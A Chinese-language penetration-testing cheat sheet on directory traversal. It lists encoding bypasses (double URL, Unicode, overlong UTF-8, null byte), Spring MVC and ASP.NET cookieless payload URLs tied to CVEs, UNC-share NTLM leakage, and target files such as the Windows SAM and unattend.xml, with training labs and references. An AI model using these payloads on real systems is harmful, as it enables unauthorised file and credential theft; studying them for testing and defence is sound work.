目录遍历 (Directory Traversal)
路径遍历,也称为目录遍历,是一种安全漏洞。当攻击者操纵引用文件的变量,并注入“点-点-斜杠 (../)”序列或类似结构时,就会产生此漏洞。这可能允许攻击者访问存储在文件系统上的任意文件和目录。
摘要 (Summary)
- 工具 (#tools)
- 方法论 (#methodology)
- 攻击利用 (#exploit)
- 路径遍历常见文件 (Path Traversal)
- 实验环境 (#labs)
- 参考资料 (#references)
工具 (Tools)
-
wireghoul/dotdotpwn - 目录遍历模糊测试工具 (Fuzzer)。
方法论 (Methodology)
我们可以使用 .. 字符来访问父目录。以下字符串是几种可以帮助您绕过实现不佳的过滤器的编码方式。
URL 编码
| 字符 | 编码后 |
|---|---|
. |
%2e |
/ |
%2f |
\ |
%5c |
示例: IPConfigure Orchid Core VMS 2.0.5 - 本地文件包含 (LFI)
双重 URL 编码
双重 URL 编码是对字符串应用两次 URL 编码的过程。在 URL 编码中,特殊字符被替换为 % 后跟其十六进制 ASCII 值。双重编码在已编码的字符串上重复此过程。
| 字符 | 编码后 |
|---|---|
. |
%252e |
/ |
%252f |
\ |
%255c |
示例: Spring MVC 目录遍历漏洞 (CVE-2018-1271)
{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
Unicode 编码
| 字符 | 编码后 |
|---|---|
. |
%u002e |
/ |
%u2215 |
\ |
%u2216 |
示例: Openfire 管理控制台 - 身份验证绕过 (CVE-2023-32315)
超长 UTF-8 Unicode 编码
UTF-8 标准规定,每个码点都必须使用表示其有效位所需的最小字节数进行编码。任何使用超过所需字节数的编码都被称为“超长 (overlong)”,根据 UTF-8 规范被视为无效。这一规则确保了码点与其有效编码之间的一对一映射,保证每个码点都有唯一的表示形式。
| 字符 | 编码后 |
|---|---|
. |
%c0%2e, %e0%40%ae, %c0%ae |
/ |
%c0%af, %e0%80%af, %c0%2f |
\ |
%c0%5c, %c0%80%5c |
混淆路径 (Mangled Path)
有时您会遇到 WAF,它会从字符串中删除 ../ 字符,这种情况下只需将其双写即可。
示例:: Mirasys DVMS Workstation <=5.12.6
空字节 (NULL Bytes)
空字节 (%00),也称为空字符,是许多编程语言和系统中的特殊控制字符 (0x00)。在 C 和 C++ 等语言中,它通常被用作字符串结束符。在目录遍历攻击中,空字节被用于操纵或绕过服务器端的输入验证机制。
示例: Homematic CCU3 CVE-2019-9726
示例: 京瓷打印机 d-COPIA253MF CVE-2020-23575
反向代理 URL 实现
Nginx 将 /..;/ 视为目录,而 Tomcat 将其视为 /../,这允许我们访问任意 Servlet。
示例: Pascom Cloud Phone System CVE-2021-45967
NGINX 与后端 Tomcat 服务器之间的配置错误导致 Tomcat 服务器中的路径遍历,从而暴露了非预期的端点。
攻击利用 (Exploit)
这些利用方式影响与特定技术相关的机制。
UNC 共享
UNC(通用命名约定)共享是一种标准格式,用于跨平台、独立地指定网络上资源(如共享文件、目录或设备)的位置。它常用于 Windows 环境,但也受到其他操作系统的支持。
攻击者可以向软件系统注入 Windows UNC 共享路径 (\\UNC\share\name),从而潜在地将访问重定向到非预期位置或任意文件。
此外,机器还可能尝试对该远程共享进行身份验证,从而发送 NTLM 交换数据包。
ASP NET 无 Cookie 模式 (Cookieless)
当启用了无 Cookie 会话状态时,ASP.NET 不再依赖 Cookie 来识别会话,而是通过直接在 URL 中嵌入会话 ID 来修改 URL。
例如,典型的 URL 可能会从 http://example.com/page.aspx 变为类似 http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx。(S(...)) 中的值即为会话 ID。
| .NET 版本 | URI |
|---|---|
| V1.0, V1.1 | /(XXXXXXXX)/ |
| V2.0+ | /(S(XXXXXXXX))/ |
| V2.0+ | /(A(XXXXXXXX)F(YYYYYYYY))/ |
| V2.0+ | ... |
我们可以利用这种行为来绕过 URL 过滤器。
-
如果您的应用程序在根文件夹中
-
如果您的应用程序在子文件夹中
| CVE | Payload |
|---|---|
| CVE-2023-36899 | /WebForm/(S(X))/prot/(S(X))ected/target1.aspx |
| - | /WebForm/(S(X))/b/(S(X))in/target2.aspx |
| CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ |
| - | /WebForm/b/(S(X))in/target2.aspx/(S(X))/ |
IIS 短文件名 (Short Name)
IIS 短文件名漏洞利用了 Microsoft Internet Information Services (IIS) Web 服务器的一个特性,允许攻击者确定 Web 服务器上是否存在名称长度超过 8.3 格式(也称为短文件名)的文件或目录。
Java URL 协议
当使用 new URL('') 时,Java 的 URL 协议允许 url:URL 格式。
路径遍历常用文件 (Path Traversal)
Linux 文件
-
操作系统和信息
-
进程
-
网络
-
当前路径
-
索引/搜索数据库
-
凭据和历史记录
-
Kubernetes
Windows 文件
文件 license.rtf 和 win.ini 在现代 Windows 系统中始终存在,使其成为测试路径遍历漏洞的可靠目标。虽然它们的内容并非特别敏感或有趣,但非常适合用作概念验证 (PoC)。
当可以在 Microsoft Windows 操作系统上读取任意文件时,可探测的文件/路径列表:soffensive/windowsblindread
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
实验环境 (Labs)
- PortSwigger - 文件路径遍历,简单案例
- PortSwigger - 文件路径遍历,拦截遍历序列并使用绝对路径绕过
- PortSwigger - 文件路径遍历,非递归地剥离遍历序列
- PortSwigger - 文件路径遍历,在剥离遍历序列时存在多余的 URL 解码
- PortSwigger - 文件路径遍历,验证路径起始点
- PortSwigger - 文件路径遍历,利用空字节绕过文件扩展名验证
参考资料 (References)
- 无 Cookie 的 ASPNET - Soroush Dalili - 2023年3月27日
- CWE-40: 路径遍历: '\UNC\share\name\' (Windows UNC 共享) - CWE Mitre - 2018年12月27日
- 目录遍历 - Portswigger - 2019年3月30日
- 目录遍历攻击 - 维基百科 - 2024年8月5日
- EP 057 | Proc 文件系统技巧与 locatedb 滥用 - TheLaluka - 2023年11月30日
- 在 Microsoft Windows 操作系统上利用盲文件读取/路径遍历漏洞 - @evisneffos - 2018年6月19日
- NGINX 可能在你不知情的情况下保护你的应用程序免受遍历攻击 - Rotem Bar - 2020年9月24日
- 路径遍历速查表: Windows - @HollyGraceful - 2015年5月17日
- 了解 ASP.NET 无 Cookie 特性是如何工作的 - Microsoft 文档 - 2011年6月24日